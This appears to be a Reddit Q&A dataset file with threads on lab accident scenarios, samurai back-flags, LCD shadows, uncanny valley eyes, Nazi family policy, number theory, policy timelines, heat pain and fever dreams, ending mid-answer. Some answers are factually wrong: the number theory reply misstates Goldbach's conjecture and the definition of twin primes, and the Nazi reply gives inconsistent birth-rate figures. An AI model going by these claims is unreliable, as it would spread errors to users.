{"q_id": "hw95c", "title": "Scientists of Reddit: look around your lab. What's the most disastrous accident scenario you could imagine happening?", "selftext": "Inspired by a particularly hysterical laser safety seminar this morning, i'm interested to know just how dangerous most people's labs are. I suppose I could theoretically take half the building down with well placed laser beams and oxygen bottles.\n\nEdit: well I'm leaving work now to go home and have nightmares about terrible lab accidents. Keep them coming though, I need something to entertain me at work tomorrow! (yes, I have to work Saturday, bleh)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hw95c/scientists_of_reddit_look_around_your_lab_whats/", "answers": {"a_id": ["c1yvkt2", "c1yvq71", "c1yvxfl", "c1yw34k", "c1yw8s2", "c1ywbam", "c1ywbb3", "c1ywd7s", "c1ywdm7", "c1ywee1", "c1ywehz", "c1ywepn", "c1yweu2", "c1ywi4b", "c1ywis6", "c1ywjww", "c1ywlcg", "c1ywnbn", "c1ywuzw", "c1ywvvi", "c1ywwa9", "c1ywy3g", "c1yx5xq", "c1yx8qf", "c1yxd12", "c1yxgid", "c1yxj0j", "c1yxpg0", "c1yxpkc", "c1yxvr0", "c1yz2po", "c1yzij4", "c1yzq8w", "c1yzs8z", "c1yzt47", "c1z01k9", "c1z02kc", "c1z052l", "c1z0cwn", "c1z0fjc", "c1z1124", "c1z13a4", "c1z2g1f", "c1z3cor"], "score": [63, 20, 9, 33, 16, 5, 2, 16, 13, 30, 19, 22, 5, 3, 9, 6, 17, 622, 30, 59, 12, 13, 12, 11, 4, 30, 3, 7, 9, 5, 2, 2, 3, 2, 3, 6, 6, 2, 2, 6, 4, 2, 3, 2], "text": ["Exploding pen, probably. Pain au chocolate not being available for breakfast in the department caf\u00e9.\n\n(I do theory.)", "a serious explosion in our fumehood or where we keep our liquid chemicals. Some seriously deadly stuff in there. \n\nAnother different scenario that would be really disastrous would be if someone did some genetic analysis of the arabidopsis plants growing outside our building. Prob some of them have escaped the labs... That would make us loose our license and it would be very very bad.  ", "Well I work in a bank so nothing bad could possibly happen, oh wait...", "If air got into my inert atmosphere glove box, there's probably enough pyrophoric material inside to burn down my building.  It's also right next to a high pressure tank of hydrogen.", "Ice Plug.\n\nI have a lot of cryogen containers, \"cryostats,\" and an ice plug in one turns it into a bomb. It would be quite bad.\n\nAlso, when I was working on nuclear stuff... well you get the idea.", "Mercury barometer knocked over.", "I guess it would suck it someone was able to introduce our drum of [TDI](_URL_0_) into the the forced air lines...", "Coffee spilling over my keyboard and notes. *shudder*", "The hood next to mine contains 3 different stills, two of which contain sodium metal and benzophenone to dry the solvent. If any of them were to run dry and then have new wet solvent poured on them they would explode. Also, we have plenty of *t*-Butyl Lithium in our glove box with other pyrophorics to set on fire if the box failed. I think our biggest concern, however, is if somehow one of our group members quenched the superconducting magnet inside our SQUID. It probably wouldn't kill us, but I'm sure my adviser would...", "We have a basement full with about 20 large freezers (ca -80\u00b0C), they contain thousands of samples of bacteria, viruses, vaccines, antibodies and so on. Basically years of work and collecting samples from all the world.\n\nIF the power would some how go down and the backup system wouldn\u00b4t kick in and the alarm wouldn\u00b4t go off then most of it would be destroyed.\n\nThough it\u00b4s not dangerous to anyone, nothing would get out or anything, it would be absolutely disastrous to the university and all of the researchers.", "I had a science teacher  \nBut he is no more  \nWhat he thought was H2O  \nWas H2SO4", "No milk for tea.", "I never graduate", "If all of the copies of my hard drive were to suddenly be destroyed I would be completely devastated (psychologist)", "I guess all the viruses could get out and then spread an destroy civilization. Or at least that's what the hippy protestors say. My guess is liquid nitrogen burn or the flammables cabinet exploding", "Electrocution is the only real hazard in my lab. However one would have to work pretty hard to get to the lines...", "Anyone else have delivery trucks that bring in the compressed gas tanks for your lab or building?  A gas tank on one of those trucks exploded (not near my lab), blowing out all the windows on the first floor of a nearby bank, which I think had recently closed anyway.  No one was killed as I remember, though I think the driver of the truck was injured.\n\n\nI remember seeing police cars all around the area and the scene kinda looked like a small bomb had gone off.", "So I have this flask I keep on my bench called \"the thunder dome'. Pretty much what I do is every time we find a new contaminant in the lab, I add it to this flask and refresh the media. Then it sits there and all of the microbes get to fight to the death until a new challenger appears. In theory, the bacteria that would evolve to survive are the ones who can kill the other bacteria and live off their corpses.\n\n\nIn retrospect maybe I should autoclave this flask. ", "We have a machine that aerosolizes Mycobacterium tuberculosis for animal infections.  We check it regularly to ensure there are no leaks, but if something went wrong, it could release a high dose of Mtb in the lab.  I know there have been several incidents of researchers infected due to the failure of a similar set up, but different than the ones we use.", "I'm utterly terrified of an unbalanced centrifuge.", "We have 5 foot tall pressurised hydrogen cylinders that we have to change periodically. I always panic that I am going to drop it or somehow puncture it when changing the cylinders over. If one of those went off, goodbye large chunk of the university. ", "Any situation that ends in someone pushing the big red button.\n\n(I am completely serious.)", "Routing porn into the signal chain on a cable channel.", "In terms of large-scale danger, honestly, the flywheel powering the reactor getting loose would be worse.  It'd send a couple of tons of steel and concrete blasting through the city at about 400 miles per hour.", "Death by acid, liquid helium, poisonous gases, toxic chemicals, glass shrapnel, xray radiation, laser pulses, suffocation, falling gas cylinders.\n\nWe did have a major injury once and it was someone getting run over by a big metal cart.", "Hitting the end cap of a super critical CO2 experiment with a hammer while it was pressurized at 600 PSI until the endcap blew off and hit me in the stomach, causing me to lose two inches of intestine.\n\nCrawling into a grounded metal glove box while there was a live 240 V lead in there.  Not being able to get a out.  \n\nCausing a sodium fire.\n\nHaving a pressurized tank of molten salt explode at 800 C or so.\n\netc...etc...\n\n\nThese are all stories from around the lab.  I use me interchangeably for \"everyone in the lab\"\n", "We have liquid HF in our lab. Couple that with the load coil on our instrument that operates at 1200 W, it's almost certain death. ", "My teacher increasing the Central Bank policy rate.", "the monitors would fall on me, and no-one would notice.  My lab is small", "A computer could set on fire or I could trip on a cable.\n\nComputer Science is pretty safe.", "Well, there isn't a lot in my lab that's dangerous to human life, but I do work next door to about 30 Illumina Hi-seq DNA sequencing machines. Last I heard, each costs somewhere around half a million dollars. (there are other similar rooms down the hall). That's potentially 15 million dollars worth of damage if something happened that destroyed them all. That would be pretty disastrous.\n\nThat said, I can't think of any routine lab mishap that could do so - the room is pretty empty except for the sequencers. A tornado ripping through the building could conceivably do some serious damage, I suppose, but it'd have to be a direct hit. The building is pretty solid and there aren't any windows in by the sequencers.", "I do computational work, so I was going to say 'the computers explode', but then I thought about it and realized that the wall said computers are against is the wall we share with the NMR facility. I haven't peeked in there lately and I doubt I'd know which tubes are which even if I did, but if we're to include any disaster with non-zero probability, I think 'the computers explode, interrupting the NMR machine's cooling system and quenching a multi-Tesla electromagnet' ranks fairly well.", "Well, when I was working with botulinum neurotoxin, I could have tripped in the hallway with the vial in the biocarrier (on my way to the vivarium), then some person could have run over the container with a gurney or something, then someone else could have grabbed the vial and opened it, then someone else could have bumped into him and the vial could have become lodged into an air ventilation system (thus aerosolizing it) therefore spreading the toxin to every corner of the hospital.\n\nAnd the concentration would have been high enough to kill everyone (or put them on artificial respirators for a few months) within a day or two if they didn't get immediate treatment.", "At our observatory the 20 inch telescope's mount has limit switches which have not been turned on. So in theory, if someone was dumb enough they could point the telescope below the horizon and the mirror of the telescope could fall out. This would most likely occur during one of our public open houses and it would squish many small children. \n\nAlternatively if someone were to point it at the Sun, the telescope could easily be destroyed. \n\nThen there's the usually infrared lasers and liquid N2 to worry about.", "The coffee maker spills and someone slips. \n:( I just have an office.", "If I was prepping my parasitic worms and somehow (through massive amounts of carelessness/clumsiness?) us managed to spill a large volume of water full of them and splash people with them.... we'd all get a really bad rash if we weren't able to wipe it all off with iodine within a few minutes. If there were splashes in anyone's eyes, there would be potential for massive inflammation -- >  temporarily impaired eyesight. I suppose it could all be worse if anyone involved was immune compromised... but what kind of immunocompromised person willingly works in an infectious disease lab without taking ridiculous precautions?\n\nDespite the fact that this is the WORST that could happen, everything anywhere near my worms is plastered with biohazard stickers, and I'm expected to wear a lab coat, gloves, and a face shield when I work. No one has been able to explain to me how exactly I'm supposed to use my microscope with a face shield on, but you know, priority goes to protecting us all from terrifying itchiness/inflamed skin!\n\n[can you tell I'm pretty pissed with our University's biosafety inspectors at the moment?]", "accidently shot radioactive tissue solubilizer into my eye during my PhD.  walked in to the office with my hand over my eye to my only co-worker, a postdoc, like \"ummm....how do i handle this situation?\"", "The coffee machine breaks down and I go on a murderous rampage.\n\n(I'm a comp. chem.)", "Other then the usual death by fire, ice, electricity, corrosives, poison, or lack of sleep?\n\nProbably if one of our mice gets out into the wild and manages to successfully breed.  If we had knocked in something that gave it better fitness it might screw up the local ecosystem.", "Well, my desk in my former lab (that is now undergoing renovations) had a bookshelf, and on the very top next to the ceiling were hidden several decades-old mercury manometers (still full for who knows what reason). I was unaware that they were up there, as we had inherited the lab from a previous research group, and frankly there was old stuff ALL OVER the lab. \n \nOne day, a maintenance guy came in to replace several ceiling tiles in that area and knocked all of these manometers onto my desk just after I had stepped out to go to the restroom. There was mercury all over my desk, chair and the floor...     ", "This actually happened in the lab building next to the one I worked in last summer. A first year grad student was using n-butyllithium for some polymerizing reaction. She was properly shielded, but apparently, she either forgot or accidentally let a bit of this stuff come in contact with water (n-butyllithium reacts spontaneously with water to cause a fire) at her lab bench, so a small section of her bench went up in flames, while a liter or more of the n-butyllithium was sitting nearby. She panicked, and rather than grabbing a fire extinguisher, she attempted to throw water on the fire (which is a bad idea for organic fires). However, she didn't grab water - she instead grabbed a liter of methanol and dumped it on the fire. What was a fire that could have been contained to her bench was now busy being spread around the lab (a polymer science/organic lab, no less) in a Molotov cocktail-like mixture of flaming methanol and butyllithium. She and the guy who was standing next to her at the time were carried out by other grad students and rushed to the hospital. From what I've heard, she was only mildly burned, but the other guy was pretty much right next to the fire when she threw methanol on it and was in critical condition in the hospital for a few weeks afterwards. Meanwhile, as people are evacuating the building, the fire is quickly consuming this lab and a few of the surrounding ones. Thankfully, the fire didn't migrate to the other floors, but the water damage due to sprinklers going off in the non-burned labs was also substantial.\n\nI've got to imagine that throwing what you think is water onto a fire, and the fire instead explodes out at you because what you threw was actually methanol has got to be one of the most terrifying moments anyone can go through.", "We have an extremely expensive sequencing machine, the Illumina HiSeq _URL_0_ sitting on a lab benchtop. It is heavy, but if a big enough earthquake hits or someone like ran into it, and it fell... not only would the current run likely be ruined ($40k) but the million dollar machine would likely be broke.\n\nMy lab is really safe compared to you guys'...", "Not exactly lab related, but I happen to work in a lab in Japan. About 2 weeks before the Tohoku Earthquake hit, we were rearranging the lab common room for the next batch of incoming students. This involved moving 3 heavy bookcases that were bolted to the wall (for earthquake safety). Me and another student unbolted the bookcases, removed the books, and moved them to another position, returned the books, but forgot to bolt them back in! The conversation we had went a bit like this:\n\n\n\nMe: \"do we really need to bolt these in...?\"\n\nHim: \"probably...what if an earthquake happens?\"\n\nMe: \"haha, what are the odds of that happening?\"\n\nHim: \"I guess...we should probably do it anyways\"\n\n\n\nFast forward 1 week. We're looking for 3 CO2 canisters but we cant seem to find them in the basement floor where they're kept in our building. We go back and forth all over the place looking for them, and finally we find them in our lab. Problem is, theres no where to chain the extra CO2 canisters (usually there are metal racks with chains to hold the canisters). Naturally the conversation goes like this:\n\n\n\nHer: \"I really dont want to move these today, I'll move them later (CO2 canisters are heavy!)\"\n\nMe: \"haha, sounds good, what are the odds of an earthquake happening anyways?\"\n\n\n\nFast forward 1 week. Said earthquake occurs. Luckily enough the book case didnt fall over, and no one was in the vicinity of the CO2 canisters. \n\nGuess we got lucky.", "Getting mauled by an elephant seal. 2 ton animal that can go 10 mph. It haunts my dreams."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Toluene_diisocyanate"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.illumina.com/systems/hiseq_2000.ilmn"], [], []]}
{"q_id": "74m7lp", "title": "Did Samurais actually wear flags on their back?", "selftext": "I have seen it in movies, cartoons and on figurines. Here is an [image](_URL_0_) to visualise what I mean.\n\nIf they did wear flags, did they actually wear them into battle? Did the flags serve a purpose? Wouldn't having a flag sticking out from your back be a huge disadvantage in combat?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/74m7lp/did_samurais_actually_wear_flags_on_their_back/", "answers": {"a_id": ["do0bll1"], "score": [3], "text": ["They are called sashimono. And yes people actually wore them into battle. \n\nWhether battle screens [here](_URL_3_)  and [here](_URL_7_) or deployment screens [here](_URL_8_) and [here](_URL_1_), we can clearly see they are visible. And they are well attested in written sources as well, whether [mobilization orders](_URL_6_) or [field manuals](_URL_0_). For example, the [z\u014dhy\u014d monogatari](_URL_5_) specifically recommends ashigaru using yari to aim to knock down the sashimono of the enemy foot. That would be a bit weird to say if the enemy didn't wear them in battle.\n\nIt's quite clear usually not everyone wore one. Ashigaru don't wear them in most sources and depictions, though it seems the commander of an ashigaru team (5~10 men?) usually did. Depiction differ on whether all cavalry wore them. The commander didn't wear one. He had his weird helmet and was surrounded by so many flags it's no needed.\n\nObviously they were for identification purposes, preventing accidentally attacking the wrong side and make both friends and foe better able to see where whose men are. Maybe it also as a local focal/rallying point for the small units.\n\nAs to how much a bamboo pole with a flag on it attached to your back effected combat, you'd have to ask reenactors. Personally, I'd think if wearing them hindered combat movement more than they're worth, then people wouldn't wear them. At least the [horo](_URL_2_) that bodyguards and aids wore [might have had some protective qualities against arrows](_URL_4_)."]}, "title_urls": [], "selftext_urls": ["https://imgur.com/a/U02wt"], "answers_urls": [["http://archive.wul.waseda.ac.jp/kosho/ke05/ke05_00062/ke05_00062_0002/ke05_00062_0002.pdf", "https://upload.wikimedia.org/wikipedia/ja/9/95/Zubyoubu.jpg", "https://upload.wikimedia.org/wikipedia/commons/e/e2/Kumagai_Naozane%2CIchinotani.jpg", "https://upload.wikimedia.org/wikipedia/commons/1/18/The_Siege_of_Osaka_Castle.jpg", "https://www.youtube.com/watch?v=8B_6BU7SYf8", "http://www.archives.go.jp/owning/monthly/1111/archives6.html", "http://www.city.fukuchiyama.kyoto.jp/fukuchiyamaisanWEB/siteibunkazai/komonjyo/katyuugunpou.jpg", "https://upload.wikimedia.org/wikipedia/commons/5/5d/Battle_of_Nagashino.jpg", "http://www.ranhaku.com/web05/c2/3_03kawanaka.jpg"]]}
{"q_id": "9osm8p", "title": "why do pixels on certain digital devices like old calculators cast a shadow?", "selftext": "I've just noticed how the black pixels on monochromatic, non-backlit screens like digital radios and calculators cast a shadow on the screen itself, how is that happening?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9osm8p/eli5why_do_pixels_on_certain_digital_devices_like/", "answers": {"a_id": ["e7welqe", "e7wigq7"], "score": [34, 2], "text": ["i believe the device you're referring to is a LCD liquid crystal display. basically its a clear liquid that turns solid and opaque with the applicaation of a minor electric current. so that opaque segement is actually blocking light, casting a shadow on the reflector behind it.\n", "Most LCD screens wether they are simple ones on a calculator or a flat screen TV have multiple layers and the layer that creates the image is suspended between the layers. If you look at the edge of the picture on a TV and look from as close to the screen as you can get you will notice that the backlight stops short of the last few pixles. The same with the calculator except without the backlight. So whatever light is shining on the calculator it will cast a shadow from whatever displayed numbers"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5ah0zt", "title": "why do humans find eyeless or pitch black eyes scary/unsettling?", "selftext": "I've never been able to find an explanation for it, but it's extremely common for movies, games, shows, etc. to use pitch black eyes to cause discomfort. Why is this so effective? Why do we find it so eerie?\n\n(Apologies if I didn't do something right while posting, the rules wouldn't load on mobile.)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ah0zt/eli5_why_do_humans_find_eyeless_or_pitch_black/", "answers": {"a_id": ["d9gfixf", "d9gfkwi", "d9ghips"], "score": [32, 10, 6], "text": ["It's called The [Uncanny Valley](_URL_0_), and it's not limited to eyes. Basically, the closer something gets to looking human, the more we can sympathise with it - until it gets to be about 95%-99% human. Then it *freaks us the hell out*. Basically if something is just a bit... off. \n\nEyes may have the additional trigger of us being A. Very attuned to identifying Human faces, B. Vision being our primary sense, and C. Knowing how sensitive eyes are. ", "It's the [uncanny valley](_URL_0_). Basically anything that looks human but has some small characteristic that's just *off* (black eyes, unnatural movement, etc) elicit a strong feeling of revulsion. We don't *really* know why, but some of the more compelling arguments:\n\n* It's an instinct to avoid disease: if someone comes up to you with festering boils and leasions... it's probably best to not be around them. Same instinct kicks in with these more subtle cues like black/empty eyes.\n\n* Reproduction: We're programmed to find certain features attractive (facial symmetry, figure, etc) that indicate fertility and good genes, while deviations we find repulsive. Guy walks up to you with a funky leg and a weird giat, your instincts tell you that potential babies will probably be... not optimal.", "Seeing the white and black parts of someone's eye lets you tell what they are looking at. Without that information you can't tell if they are looking at you or not and this is unsettling because for all you know they could be staring at you. The movement of the eyes can also show the intentions of the person because you can tell what they are paying attention to and what they are wary of. Without that, you have much less info to judge them with and the eyes seem expressionless and suspicious. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Uncanny_valley"], ["https://en.m.wikipedia.org/wiki/Uncanny_valley"], []]}
{"q_id": "214qio", "title": "Did Nazism successfully achieve Hitler's goal of a Volksgemeinschaft from 1933-1939?", "selftext": "Specifically relating to Social and Cultural changes from Weimar to Nazi. \n\nAlso, any good sources for the changing role of women. e.g did the birth rate increase like Hitler had planned etc", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/214qio/did_nazism_successfully_achieve_hitlers_goal_of_a/", "answers": {"a_id": ["cg9riko"], "score": [2], "text": ["First off you may be interested in these two threads in which I talked about changing social life in Germany (specifically with regards to criminals and the law) and the role of women in the armed forces and the SS.\n\n_URL_0_\n\n_URL_2_\n\nAs I already mentioned in this thread (_URL_3_) the Germans didn't really change the role of the mother but did emphasize it heavily and they tried to make it as prestigious as being a combat solider. Hitler and the Nazis succeeded quite handily at increasing the birth rate. For comparison in 1900, the birth rate was about 3.3, in the 1930's it increased to 14.7 and by 1939 had reached 20.4. The Nazis heavily encouraged childbirth through loans to new parents, programs where unmarried women could have children for a member of the SS and the clamping down on abortion and birth control. \n\nThe Nazis did provide a huge amount of support to single mothers (especially those impregnated by members of the SS) and created a program called Lebensborn (Spring of Life), provided assistance and could act as an adoption agency of sorts for interested party members. \n\nBoth divorce and marriage came back in full force in Nazi Germany, marriages increased but so did the number of divorces, in 1939, there were 61,000 divorces alone. The Nazis made divorce easier because they wanted to make it easier to break up marriages between non-Aryans and Aryans, and marriages between Nazis and non-Nazis. \n\nSources:\n\n_URL_1_\nThis pages gives you a good overview of the changing social structures and it summarizes a few popular works on Nazi Germany's changing social structure. \n\nNazi Culture: Intellectual, Cultural, and Social Life in the Third Reich (George L. Mosse Series in Modern European Cultural and Intellectual History) \n\nThis is also a very good read on the topic. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/20jppa/what_did_nazi_germany_do_with_legitimate/", "http://www.hsc.csu.edu.au/modern_history/national_studies/germany/2430/page65.htm", "http://www.reddit.com/r/AskHistorians/comments/2002qd/we_often_see_in_films_and_tv_nazi_officers/cfylqx7", "http://www.reddit.com/r/AskHistorians/comments/213wkf/how_was_sex_education_in_the_nazi_germany/"]]}
{"q_id": "4me36x", "title": "number theory", "selftext": "I've heard the term before for number theory and have done a bit of reading on the subject, but at my core, I'm still baffled as to what 'theory' numbers could have... they seem pretty straightforward.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4me36x/eli5_number_theory/", "answers": {"a_id": ["d3uqtjn"], "score": [6], "text": ["Number theory is the study of the properties of integers.  In terms of practical applications, there are a lot of them.  Prime numbers and their properties are extremely important in cryptography and data security, for example.  And number theory is famous for having problems that are so simple to state that an elementary school student can understand them, but which have not been proved for hundreds of years.\n\nFor example, back in 1742, Christian Goldbach proposed that every integer greater than two is the sum of two prime numbers.  So 10 = 3 + 7.  Easy to understand.  But it has never been proved or disproved.\n\nOr take twin primes.  Twin primes are two prime numbers separated by an even number.  So 5 and 7 are twin primes, as are 11 and 13.  It is thought that there are infinitely many such pairs.  But nobody has ever been able to prove or disprove it.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8xefhf", "title": "why do governments or businesses commit to policy/plastic waste changes 2-5+ years in the future? why not sooner?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8xefhf/eli5_why_do_governments_or_businesses_commit_to/", "answers": {"a_id": ["e22no46", "e22oiwm", "e22oj64", "e22s97b"], "score": [6, 2, 11, 2], "text": ["It takes a while to implement the changes. How would you like it if the law changed overnight and you had to pay fees/go to jail next day without having a chance to adapt yet.", "It gives them some time to both make sure a new alternative is in place (what are they going to use, who are they going to use as a supplier, lets negotiate a contract with them etc) and gives time for the old contracts to run out (they might have a contract with some straw manufactorer to supply them for the coming two years, and it is going to cost extra money to break that) ", "Lets suppose that your whole office/department didn't have a recycling program - everything right now went into the garbage. \n\nSo outraged, you get all of your coworkers (even Janice) to agree that by gnabbit we needs us a recycling program!  Your boss points out that you don't have any recycling bins. He will apply for an increase for next years budget to get enough bins - one by every exit, the coffee machine and the elevator. \n\nNext years budget! you cry, outraged! The planet won't be around next year. So you pass around the hat and everyone pitches in a few bucks and that night you go out to Home Depot and buy a bunch of recycling bins. \n\nFlash forward to Thursday, garbage day. You notice that while your flash-mob training on what goes INTO the bins has been a success, the cleaning staff have not been emptying them. You confront the head of facilities. \"Oh, the custodial contract does not cover emptying of the recycling bins.\" \n\nAnd even if that wasn't an issue, is there a recycling dumpster out back of your building? No? Well, gotta have a removal contract in place for that to get picked up, so add that to next year's capital budget. \n\nSo now your recycling program for your 4 story office amounts to $10,000 / year. Lets assume management agrees that a recycling program is a good idea. But wait, head office wants to roll this good idea out across all departments. After all, if we're paying for pickup at one facility, I might as well get economies of scale and have recycling pickup at all 7. \n\nBut now we're above the $20,000 capital spending limit afforded to local management. The New Recycling Program has to go for a vote of sr. management/the board/city council/whatever. That doesn't get a slot on the docket until.... February.  Then the expenditure doesn't get allocated/budgeted until the beginning of the next fiscal year. Then because its a government contract we need to following a fair and transparent bidding process. That means RFQs and proposals and then 6 months later the final paperwork is signed with the first pickup to happen a month hence.\n\nCongratulations on your new recycling initiative! It only took 2 years from your idea to implementation. \n\nIf the above makes you depressed, don't worry, its not any easier in the private sector.  In fact in my experience its worse. After all its not the taxpayers money you're spending, now its corporate profits.... this could hit our yearly bonuses!\n\nYes, if you have a senior champion with the drive to \"get 'er done\" you can expedite a lot of this. But 6 months for something like this is a pretty good benchmark. \n\nMy company spent 8 months figuring out how to provide coffee. ", "Because it wouldn't happen otherwise.\n\nIf it takes $10M to implement a new policy, it is a lot easier to spread that money out over several years.\n\nAlso, they often don't know how exactly to implement the policy, you have to do step 1 before figuring out how exactly to do step 2.  Doing it all at once means you have to make potentially bad guesses about the later steps.\n\nFinally, to take a cynical view, they get good PR when they announce the policy, and if they change their mind along the way, they can quietly discontinue it and hope no one notices."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "46esdh", "title": "At what point does the body interpret heat as painful?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46esdh/at_what_point_does_the_body_interpret_heat_as/", "answers": {"a_id": ["d05299e", "d058583"], "score": [3, 5], "text": ["This depends on the individual. We have temperature and pain sensors over all  of our skin and eternal mucous membranes. The rate at which these peripheral fibers are activated is dependent on the person. It is further dependent on whether the central nervous system decides to act upon this information from skin temperature and pain fibers. So at the simplest level, we have a 2 tiered system: 1) peripheral fibers which are dependent on the persons genetic make up on how sensitive the receptors are; 2) the central nervous system which interprets the data the peripheral fibers are sending in. This is why a standard heat stimuli can be interpreted any number of ways by any number of people.", "In addition to the points raised by /u/NoFreakingClues, the answer also depends on the rate of heat transfer (which is affected by skin thickness, moisture content, blood flow, etc., as well as the mode of heat transfer), and the thermal dose received.  The idea of a *thermal dose* refers to the concept that higher temperatures can be withstood (without pain or burn injury) if the exposure time is shorter.  A common approach to evaluate the thermal dose is to compute the Henriques burn integral [Henriques Jr, F. C. (1947). \"Studies of thermal injury; the predictability and the significance of thermally induced rate processes leading to irreversible epidermal injury.\" *Archives of Pathology*, **43**(5):489-502]."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "16be2g", "title": "why are dreams so much weirder when you have a fever?", "selftext": "I'm babysitting my little brother, and he's sick. At the dinner table, he drops this question: \"Why are my dreams so strange when I have a fever?\" I can't answer. Help me?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16be2g/eli5_why_are_dreams_so_much_weirder_when_you_have/", "answers": {"a_id": ["c7uhf9v", "c7uhhom", "c7uhiaz", "c7uj2ar", "c7uk8xw", "c7ukhq0", "c7um6f9", "c7umcfh", "c7umdup", "c7umgq2", "c7ummbm", "c7un5pk", "c7un7y6", "c7unz1r", "c7uo56q", "c7uqcsw", "c7uqyj4", "c7urxg1", "c7uvrkc", "c7y6ak1"], "score": [815, 5, 137, 2, 19, 3, 2, 2, 5, 26, 5, 2, 2, 5, 2, 2, 3, 9, 3, 2], "text": ["Your brain likes it to be warm. But not too warm. About 37 degrees celsius, to be exact. If it gets too cool (34-35 degrees), or too hot (40-41 degrees) things start going wrong.\n\nWhy? All the cells in your body have been made to work best in a specific, and quite small, temperature range. This is kind of like cooking - if you cook something, you're doing chemistry, and there's lots of chemistry going on in your body.\n\nYour brain's thoughts (and dreams, because those are thoughts too) are all being \"cooked up\" at just the right temperature.\n\nYou know how you can't cook an egg without a fire (too cold!), and if you make the fire too hot, the egg would burn and go all black and horrid (too hot!)? Your brain (and all the cells in your body) are like that too.\n\nSo even if you've got only 1 or 2 degrees fever, your brain's \"cooking\" is a bit off, and things are coming out a bit \"burnt\" (funny).", "I'm not quite sure but I do know that children with high temperatures can experience what are called febrile seizures. And seizures occur when the synapses (brain cells) fire in random patterns. \n\nAs adults we are able to tolerate the elevated temperature but may not be able to completely ward off the effects on the brain like your dreams. ", "Me too, currently have a fever and last night in a half sleep, for hours, my mind wouldn't stop projecting an image of a giant rectangle which it kept dividing into smaller and smaller shapes. I just wanted to get some sleep. Brain wouldn't let me until it had found the perfect shape. ", "I was once sick with the flu right after Christmas. I had just received my first call of duty and had been playing it for 2 days straight when I got sick. I was terrible at the game. When I went to bed I dreamt I was in war, with the same shitty inability to fire a weapon with any accuracy. I'm still alive though", "I doubt it is the medicine or anything else, when you have a really high fever you have CRAZY dreams.  I was in india a couple years back and got dysentery (that shit that always killed someone on the Oregon trail) and i had a 105 degree fever.  I didn't \"sleep\" for 4 days, i just sort of laid there and had fever hallucinations.  They were far more intense than anything that i have experienced on mushrooms.\n\ntl;dr ummm make sure his brain isn't melting. ", "I thought it was something that only happened in movies/cartoons. I'm surprised some people actually have weird dreams when they have a fever. Interesting.", "When sick with a serious fever, I always dream of conflict between two factions: a great war, two giant robots, two colored masses struggling against each other. . .stuff like that.", "The only nightmare that still scares me today was a feverdream. It has actually caused a phobia to something that's just stupid that no one should be afraid of. I'd explain, but, seriously, it'd just sound like I was crazy.", "I had a dream 2 nights ago I was a little kid again in my moms old apartment with her old boyfriend playing PlayStation. It was so weird.  It smelt the same, the couches were in the same position my clothes were even the same, It was cool, and weird.", "To put it in computer terms:\n\nHave you ever overclocked your video card to the point that random artifacts show up and the screen turns weird right before it shuts down?\n\nThat is your video card overheating and the resulting heat causing proper display issues. This concept directly applies to your brain. ", "When I was a kid I had a reoccurring dream every time I had a fever..It's fuzzy and hard to remember so excuse the confusing interpretation (I'm 23 now and haven't had the dream since I was around 14..I first remember having this dream when I was around 6 or 7) There were gears winding like the inside of a clock but randomly out of nowhere someone that was with me (usually my mom or a friend) would get really mad at me and then get sucked into the gears and die..I remember the worst sadness in my gut and the feeling of being completely alone..Then every time I would wake up choking on my puke.....This happened roughly 10 times throughout my life and it still freaks me out to this day. I've never known what to make of it.\n\n**EDIT** speling", "Smoke weed everyday for a month then stop. Gave me some amazingly vivid dreams. Downside is not remembering your dreams during the period of smoking weed.", "It's of a relief that I'm not the only plagued by patterns when suffering from a fever. The most persistent one (since childhood) is tiny people pushing a ball covered in spikes. Eerie.", "1. Effect of medications - some may have sedating effects and otherwise unnoticeable withdrawal symptoms.\n\n2. More dreams. You have more dreams due to spending more time in bed.  Also, due to discomfort and people checking on you more often, you're more likely to wake up during dreams and then more likely to remember them.\n\n3. Different sleep schedule.  You are probably in a different sleeping pattern than usual, which your brain isn't used to.  \n\n4.  Different sensory input.  Your dreams are a reflection of the sensory input you've collected throughout the day.  Whereas typically you're pretty used to your daily school/work routine, now you might just be lying in bed watching TV or playing video games.  Your brain then has different sources of material to work with, and may be able to make things more interesting.  ", "I hate to digress, but whatever: why are my dreams weirder (and much more vivid!) when I take a nap in the middle of the day?", "I have a more mundane explanation.  You have weird dreams all the time, but since you don't sleep as well when you're sick, you're more likely to remember the dreams.", "I must fever then, because all of my dreams are fucking weird. \n\nexample 1: I dont remember when this dream happened but probably during highschool: My friend and I were in my backyard, and for some reason we had to get over the back fence (by this i mean literally go over the top of it). The only way to do so was to do a math test (given out by my dad), and for some unknown reason, both my friend and I were excited for this test.\n\nexample 2: I just started highschool at the time of this one. in this dream, all of the students had superpowers, and all of the teachers had flamethrowers. I wont go into any more detail in this one. \n\n**TL;DR:** I dont need a fever to have fucked up dreams...", "cause ur bodies all FUCKED UP\nand ur having cold sweats\nu know how fucking weird that is, to be sweating but its cold? like wtf\n\nso ur brains like, im probably swimming in a pool full of cold crocodile tears\nand so thats why when u have a fever u have weird dreamz\n\nModz u can mark this as 